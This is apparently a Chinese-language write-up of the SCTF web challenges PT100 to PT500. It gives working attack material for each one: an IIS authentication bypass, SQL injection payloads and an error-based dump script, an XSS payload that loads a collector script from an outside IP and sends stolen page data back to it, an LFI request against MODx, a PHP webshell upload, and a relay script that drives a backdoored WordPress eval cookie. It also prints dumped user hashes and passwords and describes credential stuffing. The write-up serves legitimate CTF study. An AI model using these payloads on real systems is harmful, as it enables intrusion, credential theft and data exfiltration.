SCTF Web Writeup
PT100
首先题目提示在后台,顺手测试了一下admin
目录,需要 HTTP Basic 认证。
hydra
爆破无解,便想 Google 一下看看有没有 IIS 的 Auth Bypass。结果还真有 - -||
根据这篇文章的提示,bypass 的 payload 为:
http://gintama.sycsec.com/admin:$i30:$INDEX_ALLOCATION/index.php
进入之后是一个登陆,username处疑似注入,提交'
出现 WTF,提交\'
提示密码错误。可见是注入。
卡了好久,这里的 username 限制了四个字符,并且后端有截断。常规的 bypass 方法不起作用。
之后在 expdb 找到一篇 paper:False SQL Injection and Advanced Blind SQL Injection,这里有四个字符 bypass 的 payload:'=0#
,提交后成功拿到 flag。
PT200
这道题会玩死人的T^T..
打开kali.sycsec.com后看了眼源代码,提示说name=xxx
,那就是 XSS 题目咯。并且要求最新版的 Chrome 浏览器,要求就要求吧_(:3
各种尝试姿势无果,终于发现了 base 标签可以 bypass(12345是我第三方 JS 输出的)。
http://kali.sycsec.com/index.php?name=asaa%3Cbase%20href=http://www.hackersoul.com?javascript//%20%3E
不过提交后竟然没反应…事后才想起来,后台没有引入外链的 JavaScript…
之后官方提示有现成的方法可以用,最终用 link 标签搞定,payload 为:
http://kali.sycsec.com/index.php?name=asaa%3Clink%20rel=import%20href=http://103.224.80.59/2.php%20/%3E
得到 Cookie 后去后台提示 403,改了 XFF 后就被 fuck 了T^T..之后尝试获取页面源代码,其中我的 2.php 代码如下:
<?php
header("Access-Control-Allow-Origin: *");
if (@$_POST[a]) {
echo $_POST[a];
file_put_contents('1.txt', @$_POST[a]);
}
?>
<script src=http://lib.sinaapp.com/js/jquery/1.7.2/jquery.min.js></script>
<script>
$.ajax({url: "/ebcb6eb2004d1f4086ef87cdf5d678c3/flag.php?id=1 and 1=(SELECT multipoint((select*from(select*from(select thisisflag from flag limit 0,1)f)x)))", type:'GET', success: function(data){
$.post('http://103.224.80.59/2.php', {'a': data});
}});
</script>
由于浏览器的策略,我们需要指定Access-Control-Allow-Origin
为*
。然后得到的 HTML 代码写入本地的 txt 中。
从 index.php 得到 flag.php?id=1
,然后经过各种注入,最后的 payload 就是上面的代码。
有一点就是服务器上安装了不是安全狗的安全狗,正好前几天出了新的报错关键字,正好派上用场~最终 flag:
PT300
题目给了个 modx 的地址:modx.sycsec.com,其中 modx 在 PT400 的 idc 中 download 目录有下载。题目提示是代码审计,看到 PKAV 分分钟搞定心慌啊。
idc 上有三个版本,我选择了最新的版本审计,最后发现找错了,是 1.0.8。
打开题目中的地址,从 robots.txt 中发现了 /flag/flag.txt
,第一反应是文件包含。在 expdb 上搜索 modx 的 LFI 无果,决定自己审计。
首先在本地搭建环境,find . -name "*.php" | xargs grep include
找到含有 include 的文件。鬼使神差的从 index-ajax.php
开始跟(没想到跟对了)。
if($axhandler = (strtoupper($_SERVER['REQUEST_METHOD'])=='GET') ? $_GET['q'] : $_POST['q']) {
$axhandler = preg_replace('/[^A-Za-z0-9_\-\.\/]/', '', $axhandler);
$axhandler = realpath($axhandler) or die();
$directory = realpath(MODX_BASE_PATH.DIRECTORY_SEPARATOR.'/assets/snippets');
$axhandler = realpath($directory.str_replace($directory, '', $axhandler));
if($axhandler && (strtolower(substr($axhandler,-4))=='.php')) {
include_once($axhandler);
exit;
}
}
获取了用户输入的 q 参数,然后进行包含。阅读代码发现需要在 assets/snippets
目录下,再次目录下查找有包含的 php,发现/ajaxSearch/ajaxSearchPopup.php
存在包含:
$config = parseUserConfig((strip_tags($_POST['ucfg'])));
// Load the custom functions of the custom configuration file if needed
if ($config) {
//echo $config;
$lconfig = (substr($config, 0, 6) != "@FILE:") ? AS_PATH . "configs/$config.config.php" : $modx->config['base_path'] . trim(substr($config, 6, strlen($config)-6));
//echo $lconfig;
if (file_exists($lconfig)) include $lconfig;
如果 POST 了 ucfg,如果开头为@FILE:
就包含用户提交的 ucfg。构造 payload:
q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&ucfg=%26config%3D%60@FILE:flag%2fflag.txt%60&search=123
POST 到 index-ajax.php 得到 flag。
PT400
渗透一个 Wordpress 的博客。wpscan 扫了下没有插件主题,官方也说不是爆破口令。在页面尾部发现自豪的采用了 SYC SERVICE,打开后是http://idc.sycsec.com/。发现 page 疑似注入,bug 反馈疑似 XSS。第一天没搞定,第二天官方提示 SQLi -> XSS。这个神脑洞o~o...
page 注入通过把空格替换成 %0a 绕过,然后提交 payload:
http://idc.sycsec.com/?page=1%0aunion%0aselect%0a0x3c736372697074207372633d687474703a2f2f7873732e72652f353233323e3c2f7363726970743e
获得后台地址:
然后通过注入得到管理员的账号和密码:
http://idc.sycsec.com/?page=-1%0aunion%0aselect%0aconcat(UserPass,UserName,IsAdmin)from%0aadministrators123%0alimit%0a0,1%23
管理员的 md5 搜一下得到:rootadministrator123
,登陆后跳到 upload.php。
这里的上传的图片有一个过滤,当图片包含<?
的时候,对,你没有看错,有<?
的时候,张全蛋(英文名Michael Jack,法文名Hélodie Jaqueline)就会出现。不过很容易的,PHP 也可以通过<script language=php>phpinfo();</script>
来执行。直接上传一句话,%00 截断之后得到地址,菜刀连接就好,轻车熟路。
根目录下发现 Wordpress 的源码,目测这个源码留了后门。下载下来 diff 一下,果然:
数了数这是 6 个字符,那就是assert
了,写了个脚本来爆破..
<?php
for($i = 0 ; $i < 256 ; $i++){
$c = chr($i); // 0
for($j = 0 ; $j < 256 ; $j++){
$d = chr($j); // 1
if (($c ^ $d) == 'a') { // 0^1
for ($h = 0; $h<256; $h++) {
$a = chr($h); // 2
if (($d ^ $a) == 's') { // 1^2
for ($k = 0; $k<256; $k++) {
$b = chr($k); //5
if (($a ^ $b) == 'r') { //2^5
for ($l = 0; $l<256; $l ++) {
$e = chr($l); //6
if (($b ^ $e) == 't') { //5^6
for ($m =0; $m<256;$m++) {
$f = chr($m); //3
if (($f ^ $e) == 's') { // 3^6
for ($n=0;$n<256;$n++) {
$g = chr($n); //4
if (($f ^ $g) == 'e') { //3^4
echo "$c $d $a $f $g $b $e \n";
}
}
}
}
}
}
}
}
}
}
};
}
}
?>
这个脚本真是醉了..不过跑出来就行。跑了一堆,随便选一个:Q0C6S1E
然后再写一个脚本中转:
import web
import requests
import urllib2
urls = (
'/', 'hello'
)
app = web.application(urls, globals())
class hello:
def POST(self):
print web.input()
req = requests.post('http://blog.sycsec.com/fc0ea94c722b1fd7f9257f3087ac45d1/',
headers={'Cookie': 'wp-sesion=Q0C6S1E; wp-ssesion=eval($_POST[e])'},
data={'e': web.input().e + ';die();', 'z0': web.input().z0, 'z1': web.input(z1='').z1,
'z2': web.input(z2='').z2, 'z3': web.input(z3='').z3, 'z4': web.input(z4='').z4,
'z5': web.input(z5='').z5})
return req.content
if __name__ == "__main__":
app.run()
运行后连接一句话,在数据库里找到 flag:
PT500
渗透题最爱。在 http://corp.sycsec.com/ 搜集各种信息。
Email: happy_net@163.com/SYC083
Domain: file.sycsec.com
Domain: report-man.sycsec.com
查找一下社工裤找到密码为:971989823,接着登陆进去。只有一个上传,我还以为能 getshell,后来发现想多了。
卡了一会脑洞一开,想起来文件名可以注入。试了试果然,写了个脚本跑出来所有的用户数据。脚本如下:
import requests
import re
match = re.compile('Duplicate entry \'(.*)\' for')
url = 'http://report-man.sycsec.com/report.php'
headers = {'Cookie': 'PHPSESSID=ce268dee3ff78b36fab83cfda67989ba'}
payload = "',(select 1 from (select count(*),concat((select concat(id,0x20,number,0x20,password,0x20,name,0x20,email)from user limit NUM,1),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = "',(select 1 from (select count(*),concat((select concat(id,0x20,user_id,0x20,file)from report limit NUM,1),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = "',(select 1 from (select count(*),concat((select @@basedir),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = "',(select 1 from (select count(*),concat((select @@datadir),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = '../var/www/html/1.txt'
i = 0
while True:
a = requests.post(url, files={'file': (payload.replace('NUM', str(i)), 'aaa')}, headers=headers).content
#a = requests.post(url, files={'file': (payload, 'aaa')}, headers=headers).content
#print a
#break
#print a
a = match.findall(a)
if not a:
break
print a[0]
i += 1
用户数据如下:
1 SYC083 ca4375859b93ee8c52301236d78cfe1e 小静 xiaojing@sycsec 971989823
84 SYC081 95fb25bb0cde4a3cec22393497af39a8 小夕 xiaoxi@sycsec. 19930221
85 SYC042 4e3a14e1fbb71c7dc9bb6e5e3a8ebf16 刘明 liuming@sycsec liuming123
86 SYC033 9c6aebdb1ff352eda04bd28bf4e4cc61 小芳 xiaofang@sycse qweasd123
87 SYC034 1f32aa4c9a1d2ea010adcf2348166a04 小李 xiaoli@sycsec. 12345
88 SYC035 43002e69daf4c85a2c3deb84d2a6e1c1 慕言 muyan@sycsec.c $$$123123
89 SYC036 9e72b823141127e60735094849b9d86d 刘得滑 liudehua@sy dadadadadadadad
90 SYC047 1f8c2d1faab905003bacac2827efa12f 小凡 xiaofan@sycsec qweasdzxc123
91 SYC052 772b0703cbae2c6ef0d5cf2a01b9b5aa 张德帅 zhangdeshua
92 SYC073 d8b5c7cecb531fd05d7765dd3afad43d 吴悠前 wuyouqian@s
93 SYC077 58a4f7ba90147a39fec86b1516284a29 黎明 liming@sycsec.
94 SYC078 58a4f7ba90147a39fec86b1516284a29 伊喜 yixi@sycsec.co
95 SYC079 894c925e9616baf4484f6fccbf9013c0 小美 xiaomei@sycsec 123123123
之后又卡住了..不过机会总会来的,想起以前做渗透的时候经常社工公司邮箱,而且这里的人的邮箱也是@sycsec.com
的,所以顺手打了个 mail.sycsec.com,成功访问。经过撞库登陆成功 SYC081 和 SYC042 的账号。
在邮件里得到 VPN 的地址和密码组成。
通知:
公司VPN地址:vpn.sycsec.com
默认用户名:工号 (如:SYC001)
默认登录密码:工号 + 生日 (如:工号为SYC001,生日为19900101的用户,密码为:SYC001900101)
在 SYC081 得到提示小美的生日,爆破了一下出生年份,最后进入 VPN 系统。
接着利用 VPN 访问内网的file.sycsec.com
,发现域名不能访问,改为 IP 即可。
这题的坑点在于,存在一个 .svn 目录让人遐想联翩,login.php 又让人登陆。不过我试了试都不行,然后爆破了下目录..发现存在 files 目录...
想到了爆破备份文件,没找到,又尝试了下用户名,依然 GG。最后没辙了爆破了下工号,发现是 403。
嗯,写脚本跑www
import requests
headers = {
'Cookie': 'PHPSESSID=cfefaa8e1d72885a3de880a9c9c55337'
}
url = 'http://vpn.sycsec.com/curl.php'
url_2 = 'http://10.24.13.37/files/'
data = {
'option': 'GET',
'url': '',
'cookie': '',
'post': '',
}
for i in range(0,84):
data['url'] = '%sSYC0%02d/' % (url_2, i)
print 'Forbidden' in requests.post(url, headers=headers, data=data).content, i
最后在 SYC007 处得到 flag。
最后..打这个 CTF 都快打哭我了,两天没洗澡差点发霉.._(:3